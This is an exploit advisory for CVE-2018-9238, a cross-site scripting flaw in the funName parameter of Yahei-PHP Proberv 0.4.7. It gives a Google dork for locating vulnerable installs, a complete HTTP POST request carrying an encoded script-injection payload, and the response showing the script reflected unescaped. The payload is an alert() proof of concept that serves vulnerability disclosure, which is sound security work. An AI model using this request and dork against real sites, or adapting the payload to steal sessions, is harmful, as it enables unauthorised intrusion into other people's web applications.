# Exploit title: Yahei-PHP Proberv0.4.7 - Cross-Site Scripting
# Google Dork: intitle:"Proberv0." | inurl:/proberv.php
# Date: 23/03/2018
# Exploit Author: ManhNho
# Vendor Homepage: http://www.yahei.net/
# Software Link: www.yahei.net/tz/tz_e.zip
# Version: 0.4.7
# CVE: CVE-2018-9238
# Tested on: Windows 10 / Kali Linux
# Category: Webapps


#1. Description
-----------------------------------------------------
proberv.php in Yahei-PHP Proberv 0.4.7 has XSS via the funName parameter.


#2. Proof of Concept
-----------------------------------------------------
Request:

POST /proberv.php HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101
Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: <target>/proberv.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 186
Connection: close
Upgrade-Insecure-Requests: 1

pInt=No+Test&pFloat=No+Test&pIo=No+Test&host=localhost&port=3306&login=&password=&funName=%27%29%3C%2Fscript%3E%3Cscript%3Ealert%28%221%22%29%3B%3C%2Fscript%3E&act=Function+Test&mailAdd=

-----------------------------------------------------
Response:

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 22 Mar 2018 16:59:57 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
Content-Length: 30461
...
<tr>
<td width="15%"></td>
<td width="60%">
Enter the function you want to test:
<input type="text" name="funName" size="50" />
</td>
<td width="25%">
<input class="btn" type="submit" name="act" align="right" value="Function
Test" />
</td>
</tr>
<script>alert('Function')</script><script>alert("1");</script>Test results
support the position: 错误')</script></table>


#3. References
-----------------------------------------------------
https://pastebin.com/ia7U4vi9
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9238